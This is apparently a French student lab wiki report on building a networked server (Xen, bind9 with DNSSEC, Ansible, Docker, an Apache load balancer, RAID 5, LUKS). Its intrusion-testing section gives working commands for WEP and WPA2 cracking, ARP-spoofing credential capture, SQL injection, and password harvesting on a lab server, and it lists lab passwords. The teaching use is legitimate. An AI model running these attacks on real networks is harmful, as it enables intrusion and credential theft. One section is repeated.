Nous avons mis en place notre propre mascarade avec les commandes suivantes :
iptables -P FORWARD DROP
iptables -A FORWARD -j ACCEPT -s 192.168.45.5/24
iptables -A FORWARD -j ACCEPT -d 192.168.45.5/24
iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.5/24 --to-source 193.48.57.184
Ce qui permet à nos paquets en provenance de 192.168.45.5 (machine sur chassiron) de sortir sur internet en passant par notre interface eth0 de notre machine virtuelle sur capbreton (et bien entendu de faire le trajet inverse). Finalement nous avons supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d afin de pouvoir procéder a des "apt install" et ne plus être considérer comme des hackeur russes malveillants.

Nous avons également installer le paquet iptables-persistent afin que notre configuration puisse être mise en place à chaque redémarrage de notre VM tout en modifiant le fichier "/etc/sysctl.conf" pour activer l'ip forwarding pour les paquets IPV4.

A la fin de cette partie nous sommes capables de ping les machines entre elles.

Sur notre machine virtuelle côté chassiron voici la configuration dans notre fichier /etc/network/interfaces :
# The primary network interface
auto eth0
iface eth0 inet static
address 192.168.42.5/24
gateway 192.168.42.19

Nous avons également modifié notre fichier /etc/resolv.conf :
domain plil.info
search plil.info plil.fr
nameserver 192.168.42.19

Et supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d.

Nous modifions les fichiers /etc/resolv.conf pour supprimer le dns de l'ecole et nous supprimons le fichier /etc/apt/apt.conf.d/01proxy pour ne pas passer par le proxy de l'école. A la fin de cette partie la machine sur chassiron est capable de ping google.

'''Clés SSH'''

Génération d’une paire de clef asymétrique :
ssh-keygen -t rsa

Ces clés sont stocké coté capbreton dans le dossier /.ssh

Par la suite nous installons la clef publique sur nos cibles (les machines sur chassiron) :
cat .ssh/id_rsa.pub | ssh 192.168.42.5 "cat >> /root/.ssh/authorized_keys2"
Cette manipulation est cruciale pour ansible, sans cette dernière ansible ne peut fonctionner correctement

'''Installation d'Ansible'''

Installation via la commande :
apt install ansible

L'étape suivante consiste à créer un inventaire hosts dans /etc/ansible :
[webserver]
192.168.42.5

[webservers]
192.168.42.5
192.168.42.2
192.168.42.4
192.168.42.7
192.168.42.9
192.168.42.12

Ce fichier répertorie nos différentes cibles en séparent webserver qui est une cible ne contenant que notre machine virtuelle secondaire et webservers qui contient l'ensemble des machines virtuelles du groupe 2. Nous pouvons effectuer une première vérification grâce à la commande ansible :
ansible webserver -a "lsb_release -d"

L'étape suivant consiste à tester ansible.
Pour ce faire nous créons un role basic qui contient la tache main.yml, voici son contenu :

- name: package to be installed
apt:
update_cache: yes
name: "{ { packages } }"
vars:
packages:
- ntp
- python3
- python3-pip

- name: docker
pip:
name: docker

- name: maj ntp
copy:
src: "/etc/ntp.conf"
dest: "/etc/ntp.conf"
owner: root
group: root
mode: '0644'

- name: maj motd
copy:
src: "/etc/motd"
dest: "/etc/motd"
owner: root
group: root
mode: '0644'

Ce role s'assure qui les packages ntp, python3, python3-pip et docker son bien installé et met à jour ntp et motd en copiant leurs configurations qui est présente sur notre machine virtuelle de capbreton. La modification est bien prise en compte est peut être vérifier en se connectant en ssh sur notre machine de chassiron via la commande ssh root@192.168.42.5

=== Installation de docker ===

Avant de commencer l'installation de docker il nous faut ajouter les packages python3 et python3-pip à notre machine secondaire, nous avons utilisé ansible pour faire ceci en créant le rôle basic :

- name: package to be installed
apt:
update_cache: yes
name: "{ { packages } }"
vars:
packages:
- python3
- python3-pip

Nous avons également récupéré le rôle geerlingguy.docker qui est un rôle fait pour déployer docker grâce à ansible (récupérer sur ansible galaxy).

Nous avons ensuite créé notre playbook pour déployer nos commandes :

- hosts: webserver
roles:
- basic
- geerlingguy.docker
vars:
docker_apt_gpg_key: "https://download.docker.com/linux/debian/gpg"
docker_apt_repository: "deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian buster { { docker_apt_release_channel } }"

=== Création de notre conteneur ===

Pour lancer notre containeur web nous avons commencé par créer le Dockerfile :

FROM httpd:2.4
COPY . /usr/local/apache2/htdocs/
CMD ["httpd", "-D", "FOREGROUND"]

Nous avons ensuite créé l'image du Dockerfile :
docker build -t web .

Puis nous avons lancé notre container
docker run -d -p "8085:80" --name web web

Plusieurs commandes nous permettent de vérifier le bon fonctionnement :
docker images (Affichage des différentes images docker installées)
docker ps -a (Affichage des différents containeur en cours d'exécution)

Nous avons pu vérifier le bon fonctionnement de celui-ci grâce a la commande suivante :
curl 193.48.57.184:8085

Nous avons ensuite créé un rôle ansible pour créer un dépôt local docker sur notre machine secondaire (après avoir préalablement installer la collection via la commande : ansible-galaxy collection install community.general) :
- name: Setup registry
docker_container:
name: registry
image: registry
ports:
- "5000:5000"

Après cela nous avons voulu push notre image "web" vers notre dépôt mais une erreur est survenue, celle-ci vient du fait qu'il fallait rajouter le fichier daemon.json dans le dossier "/etc/docker/" afin de ne pas utiliser une connexion sécurisée.

{
"insecure-registries" : ["192.168.42.5:5000"]
}

Une fois ce fichier modifié nous avons pu utiliser les commandes :
docker tag web 192.168.42.5:5000/webserver
docker push 192.168.42.5:5000/webserver

Puis coté chassiron :
docker pull 192.168.42.5:5000/webserver

=== Configuration de nos serveurs internes ===

Pour voir déployer nos containeurs sur tous les serveurs disponibles sur chassirons nous avons d'abord créé notre role "new_container" :

- name: Create a container
docker_container:
name: amanite_container
image: 192.168.42.5:5000/webserver_amanite
ports:
- "8085:80"

Ce role permet (après avoir push sur le registry de notre seconde machine virtuelle), d'installer l'image webserver_amanite sur l'ensemble des machine qui sont dans l'hote webservers.
Sur ces machines virtuelles, il faut également rajouter au fichier daemon.json (dans le dossier /etc/docker) l'ensemble des repository non sécurisés (afin d'y prendre les images).

Puis nous avons déployé notre container grâce à notre playbook :

- hosts: webservers
roles:
- new_container

=== Equilibreur de charge ===

Nous avons ensuite ajouté le serveur web virtuel reverse.amanite.site, puis nous avons activé les modules apaches suivants (pour l'ensemble de nos étapes) :

a2enmod proxy
a2enmod proxy_http
a2enmod proxy_balancer
a2enmod lbmethod_byrequests

Pour notre première partie nous avons modifier notre fichier amanite.site.db (qui se situe dans /etc/bind/zones) et nous y avons rajouter la ligne :
reverse IN CNAME www
(Nous n'oublions pas d'incrémenter le numéro de version, de signer la zones pour DNSSEC ainsi que redémarrer le service bind9).

Par la suite nous avons rajouter un site dans /etc/apache2/site-available que nous nommons reverse.conf :
<VirtualHost *:80>
ServerName reverse.amanite.site
ServerAdmin lolopierro
ProxyPass / http://192.168.42.5:8085
ProxyPassReverse / http://192.168.42.5:8085
</VirtualHost>

Que nous ajoutons à nos sites enable via la commande : a2ensite reverse.conf, puis nous redémarrons le service apache2.
Après cette étape notre site est accessible via l'URL reverse.amanite.conf (qui est pour le moment accessible via notre seule machine virtuelle secondaire sur chassiron).

Dans un second temps nous avons modifié notre fichier de configuration reverse.conf afin d'y rajouter de l'équilibrage de charge :

<VirtualHost *:80>
ServerName reverse.amanite.site
ServerAdmin lolopierro
<Proxy "balancer://mycluster">
BalancerMember "http://192.168.42.5:8085" route=1
BalancerMember "http://192.168.42.2:8085" route=2
BalancerMember "http://192.168.42.4:8085" route=3
BalancerMember "http://192.168.42.7:8085" route=4
BalancerMember "http://192.168.42.9:8085" route=5
BalancerMember "http://192.168.42.12:8085" route=6
ProxySet lbmethod=byrequests
</Proxy>
ProxyPass / balancer://mycluster/
ProxyPassReverse / balancer://mycluster/
</VirtualHost>

Pour vérifier notre loadbalancing nous avons modifié notre page index.html, puis nous avons build notre nouvelle image docker contenant cette page html, nous l'avons push sur le registry et pull depuis notre machine amanite sur Chassiron. Nous avons ensuite relancé notre playbook nous permettant de déployer cette image sur toutes les machines secondaires virtuelles, mais seul notre machine amanite (car nous avons pull sur cette machine) et les machines n'ayant pas eu le déploiement avant on été actualisé. Cela nous permet de bien vérifier notre loadbalancing.

Une deuxième méthode pour vérifier celui-ci est l'ajout du module status sur apache :

a2enmod status

Puis nous avons modifié notre fichier de configuration reverse.conf en y ajoutant les lignes suivantes :

<Location "/server-status">
SetHanlder server-status
Order Allow,Deny
Allow from all
</Location>

Malheureusement nous n'arrivons pas à accéder à la page reverse.amanite.site/server-status malgré les différentes recherches effectuées.

TP sysres IMA5sc 2020/2021 G5

2020-12-20T15:00:52Z

Psanchez : /* Sécurisation de serveur DNS par DNSSEC */

{| class="wikitable"
! Groupe !! Domaine !! Distribution !! VLAN privé !! IP (VLAN333) !! Netmask (VLAN333) !! Gateway (VLAN333) !! Gateway 6509-E (VLAN333) !! Gateway 9200 (VLAN333) !! IP (publique)
|-
| Groupe 5
| amanite.site
| Debian 10 Buster
| 305
| 100.64.0.24
| 255.255.255.0
| 100.64.0.254
| 100.64.0.1
| 100.64.0.2
| 193.48.57.184
|}

==Création d'une machine virtuelle Xen Linux sur le dom0 capbreton.plil.info==

Connexion ssh :

ssh pifou@capbreton.plil.info

Création de la VM Xen :

> su - (Afin de pouvoir accéder aux variables d'environnement de su et ainsi accéder à sbin/mkswap)

> xen-create-image --hostname=amanite --ip=100.64.0.19 --netmask=255.255.255.0 --gateway=100.64.0.5 --password=pasglop --dir=/usr/local/xen --dist=buster

Résultat de la commande :
General Information
--------------------
Hostname : amanite
Distribution : buster
Mirror : http://deb.debian.org/debian
Partitions : swap 512M (swap)
/ 4G (ext4)
Image type : sparse
Memory size : 256M
Kernel path : /boot/vmlinuz-4.19.0-9-amd64
Initrd path : /boot/initrd.img-4.19.0-9-amd64

Networking Information
----------------------
IP Address 1 : 100.64.0.19 [MAC: 00:16:3E:C4:6A:BB]
Netmask : 255.255.255.0
Gateway : 100.64.0.5

===Configuration des LV===

Après que Guillaume ait créer un volume group sur capbreton pour chaque groupe puis attribuer 2 Logical Volume (LV) de 10Go sur ce volume group il est nécessaire de formater ces 2 LV à l'aide des commandes suivantes :

root@capbreton:~# mkfs.ext4 /dev/storage/amanite1
root@capbreton:~# mkfs.ext4 /dev/storage/amanite2

Nous avons par la suite modifié le fichier config de la VM, ''amanite.cfg'', afin qu'elle possède les volumes loguqes amanite1 et amanite2 précédemment créé en rajoutant les lignes ci-dessous :

Dans la fonction Disk Device(s) :
disk = [
...
'phy:/dev/storage/RingotSanchez1,xvdav3,w'
'phy:/dev/storage/RingotSanchez2,xvdav4,w'
]

Puis dans Networking :
vif = [ 'bridge=IMA5sc, ...']

===Création et configuration de la machine virtuelle===

Lorsque nous nous sommes connectés en ssh à capbreton, creation de la VM avec la commande : xl create -c /etc/xen/amanite.cfg

*Commandes utiles
** Affichage de l'ensemble des VM présente sur capbreton : xl list
** Se connecter à la VM : xen console amanite
Identifiant de la machine : root
Mdp de la machine : pasglop

'''Suite de la configuration'''

Pour que les répertoires /var et /home de la machine virtuelle soient sur des partitions LVM de l’hôte il faut tout d'abord formater xvda3, xvda4 en ext 4 à l'aide des commandes :
root@amanite:~# mkfs.ext4 /dev/xvda3
root@amanite:~# mkfs.ext4 /dev/xvda4

Par la suite nous montons nos deux disques afin d'y déplacer nos répertoires (en ayant préalablement créer les points de montages /mnt/xvda3 et /mnt/xvda4) :

root@amanite:~# mount /dev/xvda3 /mnt/xvda3
root@amanite:~# mount /dev/xvda4 /mnt/xvda4

Le répertoire /home étant vide nous ne déplaçons que le répertoire /var dans le disques xvda4 :

root@amanite:~# mv /var/* /mnt/xvda4.

Puis nous démontons (umount) nos deux volumes.

Nous modifions ensuite /ect/fstab en ajoutant :
/dev/xvda3 /home ext4 defaults 0 2
/dev/xvda4 /var ext4 defaults 0 2

Puis nous les montons à l'aide de la commande :
mount -a
Finalement à l'aide de la commande lsblk nous pouvons verifier notre montage :
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
xvda1 202:1 0 512M 0 disk [SWAP]
xvda2 202:2 0 4G 0 disk /
xvda3 202:3 0 10G 0 disk /home
xvda4 202:4 0 10G 0 disk /var

==Service Internet==

===Serveur SSH===

Installation d'un serveur ssh, accessible grâce à la commande :
ssh root@amanite.site
avec le mot de passe habituel d'une zabeth non root. (Il faut au préalable avoir autoriser la connexion en root : PermitRootLogin yes dans le fichier /etc/ssh/sshd_config)

===Serveur DNS===

Nous avons commencé par louer un nom de domaine sur gandi.net :
amanite.site
Nous avons ensuite installé le package bind9.

Dans le dossier de configuration de bind9 on modifie les fichiers de configurations :

Dans /etc/bind/named.conf.local :

zone "amanite.site" IN {
type master;
file "/etc/bind/zones/amanite.site.db";
allow-transfer{217.70.177.40;};
};

Dans /etc/bind/zones/amanite.site.db :

;BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns1.amanite.site. postmaster.amanite.site. (
6 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
@ IN NS ns1.amanite.site.
@ IN NS ns6.gandi.net.
@ IN MX 42 ns1
ns1 IN A 193.48.57.184
www IN A 193.48.57.184
ns1 IN AAAA 2001:660:4401:60b2:216:3eff:fec4:6abb
www IN AAAA 2001:660:4401:60b2:216:3eff:fec4:6abb

Dans /etc/bind/name.conf.options

options {
directory "/var/cache/bind";
dnssec-validation auto;
listen-on-v6 { any; };
allow-transfer { "allowed_to_transfer";};
};

acl "allowed_to_transfer" {
217.70.177.40/32;
};

Sur gandi.net nous lions ns1.amanite.site à 193.48.57.184 grâce à l'option Gluerecords, ensuite on ajoute aux serveurs de noms externes.
ns1.amanite.site
ns6.gandi.net

Pour vérifier le bon fonctionnement on peut utiliser les commandes suivantes :
host -t any ns1.amanite.site localhost
host -t any ns1.amanite.site

ou se servir de nslookup.

===Sécurisation de site web par certificat===

Pour sécuriser notre site web par certificat il faut d'abord créer un certificat pour cela on utilise l'utilitaire openssl et nous nous aidons de la documentation de Gandi.
Cette ligne de commande nous permet de lancer la procédure de création :

openssl req -nodes -newkey rsa:2048 -sha256 -keyout amanite.site.key -out amanite.site.csr

Country Name (2 letter code) [AU]:FR
State or Province Name (full name) [Some-State]:France
Locality Name (eg, city) []:Lille
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech
Organizational Unit Name (eg, section) []:IMA
Common Name (e.g. server FQDN or YOUR name) []:amanite.site
Email Address []:admin@amanite.site

Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:glopglop
An optional company name []:

Une fois la procédure lancée nous rentrons nos informations comme notre pays, notre entreprise, notre nom d'organisation mais le plus important notre common name "amanite.site".
Une fois fini deux fichiers sont créés amanite.site.key et amanite.site.csr, il faut maintenant faire signer le fichier amanite.site.csr par une authorité de certification. Cela se passe directement sur le site de gandi, nous ajoutons ce certificat a notre nom de domaine et nous attendons de recevoir le certificat signé.

===Sécurisation de serveur DNS par DNSSEC===

Le but de cette partie est de résoudre certains problèmes de sécurité liés au protocole DNS grâce au procole DNSSEC. DNSSEC permet de proteger les données et les enregistrements DNS de bout en bout (et non pas seulement le canal de communication comme ce qui pourrait être fait avec TLS). Ainsi, il est efficace même lorsqu'un serveur intermédiaire a été compromis.
Pour ce faire, nous configurons bind pour qu'il soit capable d'accepter les échanges suivant le protocole DNSSEC.

Nous commençons par activer DNSSEC dans le fichier /etc/bind/named.conf.local grâce à l'option :
dnssec-enable yes

Par la suite nous créons un dossier amanite.site.dnssec dans lequel seront stockées les clefs et nous générons deux couples de clefs (ZSK et KSK) qui permettront de chiffrer ou déchiffrer les enregistrements. Nous commençons par créer la clef asymétrique de signature de clefs de zone :
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE amanite.site
Puis la clef asymétrique de la zone pour signer les enregistrements :
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE amanite.site

Nous renommons les deux paires de clefs obtenues pour plus de lisibilité :
amanite-ksk.key amanite-ksk.private amanite-zsk.key amanite-zsk.private

Que nous incluons dans votre fichier de zone /etc/bind/zones/amanite.site.db :
$include /etc/bind/amanite.site.dnssec/amanite.site-ksk.key
$include /etc/bind/amanite.site.dnssec/amanite.site-zsk.key

Sans oublier d'incrémenter le numéro de version de la zone dans le fichier amanite.site.db et amanite.site.db.signed

Nous signons les enregistrements de la zone avec la commande :
dnssec-signzone -o amanite.site -k amanite.site-ksk ../zones/amanite.site.db amanite.site-zsk

Ensuite dans le fichier /etc/bind/named.conf.local nous modifions la zone :
zone "amanite.site" IN {
type master;
file "/etc/bind/zones/amanite.site.db.signed";
allow-transfer{217.70.177.40;};
};

L'avant dernière étape consiste à communiquer la partie publique de la KSK (amanite.site-ksk.key) à Gandi (partie DNSSEC)

Finalement nous relançons bind :
service bind9 restart

Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/amanite.site

[[Fichier:Screenshot_amanite.site.png|thumb|center||alt=texte alternatif|400px|Screenshot sur le site DNSSEC Analyzer]]

==Tests d'intrusion==

===Cassage de clef WEP d’un point d’accès WiFi===

*Liste des commandes :
** Lister les interfaces WiFi disponibles : airmong-ng
** Passage d'une interface en mode moniteur : airmong-ng start <Interface>
** Affichage et scan des réseaux WiFi WEP environnants : airodump-ng --encrypt wep <Interface>
** Capture des paquets émis par le point d'accés cible : airodump-ng --write <nomFichierSortie> --channel 3 -bssid <@mac_AP> <nomInterface>
** Crack la clef WEP après avoir capture au minimum 30 000 paquets : aircrack-ng -x <nomFichierSortie>-01.cap

Notre première étape consiste à passer notre interface en mode moniteur.
Nous utilisons donc la commande : airmong-ng

Ce qui nous retourne le nom de notre interface, dans notre cas :
wlan0mon

Nous démarrons cette interface en mode moniteur avec la commande afin d'écouter le trafic wifi aux alentours :
airmong-ng start wlan0mon

Par la suite nous affichons l'ensemble des réseaux WiFi WEP capter par notre interface :
airodump-ng --encrypt wep wlan0mon

Apparaît alors la cracotte05, nous récupérons son BSSID : 04:DA:D2:9C:50:54 qui va alors nous servir à stocker les vecteurs d'initialisation générées par le point d'accés à l'aide de la commande :
airodump-ng --write data --channel 3 -bssid 04:DA:D2:9C:50:54 wlan0mon

Nous pouvons "stimuler" le point d'accés, afin d'augmenter le nombre de paquets transmis (et collectés) :
'''Fake Authentication''' : aireplay-ng -1 0 -e cracotte05 -a 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon

'''Injection''' : aireplay-ng -3 -e cracotte05 -b 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon

Après avoir capturer assez de paquet (environ 30 000) il est possible de cracker la clé WEP à l'aide de la commande :
aircrack-ng -z data.cap

Nous obtenons alors :
KEY FOUND! [F1:DE:D4:00:00:00:00:00:00:00:0F:FF:FF ]
Decrypted correctly: 100%

===Cassage de mot de passe WPA2-PSK par force brute===

Pour cette deuxième étape de craquage de clé, nous allons utiliser quelques commandes communes au craquage de la clé WEP.

Nous utilisons donc la commande : airmong-ng afin de lister nos interfaces, dans notre cas :
wlan0mon

Nous démarrons cette interface en mode moniteur avec la commande :
airmong-ng start wlan0mon

Par la suite nous affichons l'ensemble des réseaux capter par notre interface :
airodump-ng wlan0mon

Nous repérons le réseau "Kracotte05" qui possède le BSSID suivant "00:14:1B:60:8C:24"

Nous pouvons lancer dès lors la commande :
airodump-ng --write data -c 3 -bssid 00:14:1B:60:8C:24 wlan0mon

Il faut désormais attendre que le handshake soit notifié, dès que celui-ci arrive nous pouvons arreter la capture.
En parallèle nous pouvons d'ors et déjà créer le dictionnaire qui va nous permettre de casser la clé WPA grâce à la commande crunch :
crunch 8 8 0123456789 > dico.txt
En effet nous savons que le mot de passe n'est composé que de chiffres et la taille totale de celui-ci est de longueur égale à 8.

Pour cracker le mot de passe, nous avons utiliser hashcat, un utilitaire qui permet notamment d'utiliser la puissance du GPU pour le craquage de la clé.

La commande est la suivante :
crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx

Le mot de passe pour la kracotte05 est le suivant : 10244444

===Attaque de type "homme au milieu" par usurpation ARP===

Pour réaliser cette attaque, nous installons le paquet dsniff sur notre eeePC grâce à la commande :
apt-get install dsniff

La première étape consiste à transformer notre machine attaquante en routeur en mettant la variable noyau /proc/sys/net/ipv4/ip_forward à 1 : echo 1 > /proc/sys/net/ipv4/ip_forward

Nous pouvons afficher la table arp de la machine pirate avec la commande :
arp -a
Grâce à cette table nous identifions deux adresses IP :

172.26.145.254
-> Adresse IP du routeur

172.26.145.60
-> Adresse IP de la machine victime

Notre but est de nous placer entre la gateway et la machine victime afin de pouvoir observer les paquets échangés entre le routeur et la machine victime.

Les commandes suivantes vont nous permettre de procéder à notre attaque du type ARP poisoning :
arpspoof -i eth0 -t 172.26.145.254 172.26.145.60
arpspoof -i eth0 -t 172.26.145.60 172.26.145.254

La première envoie à la cible (172.26.145.254) une fausse réponse ARP afin de corrompre le cache ARP de cette dernière pour ainsi détourner le trafic à destination de notre hôte (172.26.145.60). Ainsi lorsque le routeur devra envoyer des informations à destination de 172.26.145.60, il procédera à une résolution ARP en utilisant l'adresse MAC associé à l'IP 172.26.145.60 et qui aura été changer à la suite de notre spoofing (et nous sera alors associé). La même méthodologie est appliquée pour la seconde commande.

En activant le mode routeur sur la machine pirate, nous pouvons retransférer les paquets entre le routeur et la machine victime de manière transparante.

La machine victime va maintenant se connecter sur un serveur web HTTP.

En lançant wireshark sur la machine attaquante nous observons les paquets suivants :
[[Fichier:wireshark_grp5.jpg|thumb|center||alt=texte alternatif|400px|Capture Wireshark]]

Nous pouvons voir très clairement l'adresse mail ainsi que le mot de passe utilisés par l'utilisateur victime.

===Intrusion sur un serveur d’application Web===

Pour commencer ce challenge nous n’avons qu’une adresse : honey.plil.info. Afin de connaitre les services sur cette machine nous utilisons l’utilitaire nmap qui va scanner le réseau grâce à des pings sweep :

nmap -A -T4 honey.plil.info

[[Fichier:Nmap_honey.png|thumb|center||alt=texte alternatif|400px|Nmap honey.plil.info]]

Nous voyons que le serveur héberge deux services :
Un service de connexion ssh, inutilisable sans login et mot de passe
Un service web.

Nous essayons donc de commencer par attaquer le site web honey.plil.info

Sur la page principale seul un formulaire de connexion est présent, celui-ci sûrement utilisé par une base de données donc nous tentons une injection SQL.
Les requêtes SQL de connexions sont souvent de la forme :
Select … From … Where login = « username » AND password = « password ».
Si nous connaissons l’username ou le mot de passe du compte sur lequel nous voulons nous connecter nous pouvons utiliser une injection du type « or 1 = 1 -- » qui est une condition toujours vraie. Dans notre cas nous ne connaissons ni le login ni le password à utiliser donc on utilise la condition vraie sur les deux champs. De ce fait la base de données sera « perdu » et nous renvoie tous les comptes auxquels nous pouvons nous connecter en nous disant que nous ne pouvons nous connecter à tous ces comptes en même temps.

[[Fichier:Sql_injection_honey.png|thumb|center||alt=texte alternatif|400px|Injection SQL honey.plil.info]]

Une fois connecté en tant qu’admin nous voyons que nous avons accès à trois pages, deux sont intéressantes :
- La première permet d’uploader un fichier qui est stocké sur le pc du server
- La deuxième permet de lire ce fichier.

Nous uploadons le fichier password situé dans le dossier « etc », en le lisant nous nous apercevons que deux utilisateurs sont présents sur le serveur : root et rex et ces deux utilisateurs ont les droits pour se connecter en ssh. Nous uploadons le fichier shadow situé dans le dossier « etc », malheureusement celui-ci est vide.

Après quelques tentatives infructueuses pour trouver le mot de passe de rex ou de root on se sert de l’utilitaire dirb qui va bruteforce le site internet pour trouver d’autres liens.

dirb -r honey.plil.info

[[Fichier:Dirb_honey.png|thumb|center||alt=texte alternatif|400px|Dirb honey.plil.info]]

Celui-ci nous permet de voir qu’une page http://honey.plil.info/phpmyadmin/ est présente. Nous avons fait des recherches pour savoir dans quel fichier était stocké le mot de passe administrateur de phpmyadmin. Nous uploadons donc le fichier config.inc.php, à l’intérieur de celui-ci nous ne trouvons rien excepté un deuxième nom de fichier : “config-db.php”. Dans celui-ci nous trouvons le mot de passe “gencovid19”. Une fois connecté en tant que root sur phpmyadmin, nous fouillons les bases de données et nous trouvons le nom d’utilisateur “rex” et le mot de passe “plainpassword” dans la base “test”.

Une fois connecté en ssh sur le compte de rex, nous avons regardé ses droits et ceux-ci sont quasi identique à ceux de root on peut donc ouvrir le fichier “shadow”, récupérer le hash du mot de passe de root. Nous avons ensuite créé un dictionnaire en partant du principe que le mot de passe était de la forme "glopglop" et nous avons craqué le hash avec John the ripper qui nous donne le mot de passe ********.

==Réalisations==

===Sécurisation de données===

Tout d'abord, nous créons 3 partitions virtuelles grâce aux commandes :

lvcreate -L1G -n amanite-raid1 storage
lvcreate -L1G -n amanite-raid2 storage
lvcreate -L1G -n amanite-raid3 storage

Ensuite, nous modifions le fichier : /etc/xen/amanite.cfg
disk = [
'file:/usr/local/xen/domains/amanite/disk.img,xvda2,w',
'file:/usr/local/xen/domains/amanite/swap.img,xvda1,w',
'phy:/dev/storage/RingotSanchez1,xvda3,w',
'phy:/dev/storage/RingotSanchez2,xvda4,w',
'phy:/dev/storage/amanite-raid1,xvda5,w',
'phy:/dev/storage/amanite-raid2,xvda6,w',
'phy:/dev/storage/amanite-raid3,xvda7,w'
]

Puis nous redémarrons notre VM.
xl destroy amanite
xl create /etc/xen/amanite.cfg

Après avoir relancer notre VM, nous installons le paquet mdadm.

apt instal mdadm

Ensuite, nous construisons notre volume RAID 5, et nous nous assurons que ce dernier est démarré à chaque démarrage de notre VM.

mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7
mdadm --monitor --daemonise /dev/md0

Nous formatons notre volume RAID.

mkfs.ext4 /dev/md0

Et nous rajoutons la ligne suivante dans /etc/fstab :

/dev/md0 /raid5 ext4 defaults 0 2

Nous pouvons avoir des détails notre volume grâce à la commande :
mdadm --detail /dev/md0

Pour finir, nous montons et peuplons notre volume RAID.
mount /dev/md0 /mnt
touch coucou.txt

A partir de là, nous avons une configuration persistante du raid. Le RAID 5 sera identifié au boot et monté automatiquement. Nous pouvons maintenant tester notre volume RAID, nous simulons une panne sur un de nos disques.

Nous déclarons un de nos disques comme étant en défaillance :

mdadm --set-faulty /dev/md0 /dev/xvda7

Puis nous l'enlevons de notre volume RAID :
mdadm --remove /dev/xvda7

Nous constatons que notre fichier coucou.txt est toujours présent, malgré la panne de l'un de nos disques.

Puis nous rajoutons notre disque dans notre volume RAID (ce dernier n'étant pas réellement défaillant) :
mdadm --manage /dev/md0 --add /dev/xvda7

===Chiffrement de données===

Notre but est de chiffrer les données contenus sur une clé usb en utilisant l'utilitaire cryptsetup.

Après avoir trouvé notre clé usb avec lsblk, on formatte celle-ci. Puis on utilise l'utilitaire cryptsetup pour la chiffrer.

cryptsetup luksFormat /dev/sdb
cryptsetup luksOpen /dev/sdb crypt_sdb

Ces deux commandes nous permettent d'ouvrir notre clé usb avec cryptsetup, ainsi que d'ajouter un lien crypt_sdb dans /dev/mapper. Pour pouvoir utiliser la clé il faut reformater la partition luks.

mkfs.ext4 /dev/mapper/crypt_sdb

Pour pouvoir ajouter un fichier sur celle-ci nous devons la monter.

mount /dev/mapper/crypt_sdb /mnt

Puis nous y ajoutons un fichier.

touch /mnt/test.txt

Nous avons ensuite unmount la clé et nous avons essayé de l'ouvrir sur un autre pc.

umount /mnt
cryptsetup luksClose crypt_sdb

Après avoir monté la clé sur un autre pc nous constatons que nous ne pouvons voir les fichiers présent. Pour les voir nous devons utiliser le mot de passe rentré lors de cryptsetup luksFormat.

===Inspection ARP par un élément réseau===

Après avoir effectué des recherches nous nous sommes rendu compte que l'asa 5506-x ne faisait pas switch et ne nous permettait donc pas de pouvoir l'utiliser contre l'ARP spoofing.

===Sécurisation WiFi par WPA2-EAP===

== TP ASR ==

=== Architecture de la ferme ===

Pour notre groupe, l'ensemble des machines virtuelles Xen étaient déjà installées.

Dans un premier temps nous avons ajouté une interface réseau virtuelle à notre machine amanite sur capbreton (fichier /etc/xen/amanite.cfg) afin de la relier au VLAN50 tout en choisissant une adresse MAC incrémenté de 1 par rapport à notre autre interface.

vif = [ 'bridge=IMA5sc, ip=100.64.0.19 ,mac=00:16:3E:C4:6A:BB', 'bridge=bridgeStudents, ip=192.168.42.19, mac=00:16:3E:C4:6A:BC' ]

Sur notre machine virtuelle côté chassiron voici la configuration après modification dans notre fichier /etc/network/interfaces :
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.184
netmask 255.255.255.255
up ip address add dev eth0 100.64.0.24/24
up ip route add default via 100.64.0.2 src 193.48.57.184
down ip address del dev eth0 100.64.0.24/24
down ip route del default via 100.64.0.2 src 193.48.57.184

# The secondary network interface
auto eth1
iface eth1 inet static
address 192.168.42.19
netmask 255.255.255.0

Nous avons mis en place notre propre mascarade avec les commandes suivantes :
iptables -P FORWARD DROP
iptables -A FORWARD -j ACCEPT -s 192.168.45.5/24
iptables -A FORWARD -j ACCEPT -d 192.168.45.5/24
iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.5/24 --to-source 193.48.57.184
Ce qui permet à nos paquets en provenance de 192.168.45.5 (machine sur chassiron) de sortir sur internet en passant par notre interface eth0 de notre machine virtuelle sur capbreton (et bien entendu de faire le trajet inverse). Finalement nous avons supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d afin de pouvoir procéder a des "apt install" et ne plus être considérer comme des hackeur russes malveillants.

Nous avons également installer le paquet iptables-persistent afin que notre configuration puisse être mise en place à chaque redémarrage de notre VM tout en modifiant le fichier "/etc/sysctl.conf" pour activer l'ip forwarding pour les paquets IPV4.

A la fin de cette partie nous sommes capables de ping les machines entre elles.

Sur notre machine virtuelle côté chassiron voici la configuration dans notre fichier /etc/network/interfaces :
# The primary network interface
auto eth0
iface eth0 inet static
address 192.168.42.5/24
gateway 192.168.42.19

Nous avons également modifié notre fichier /etc/resolv.conf :
domain plil.info
search plil.info plil.fr
nameserver 192.168.42.19

Et supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d.

Nous modifions les fichiers /etc/resolv.conf pour supprimer le dns de l'ecole et nous supprimons le fichier /etc/apt/apt.conf.d/01proxy pour ne pas passer par le proxy de l'école. A la fin de cette partie la machine sur chassiron est capable de ping google.

'''Clés SSH'''

Génération d’une paire de clef asymétrique :
ssh-keygen -t rsa

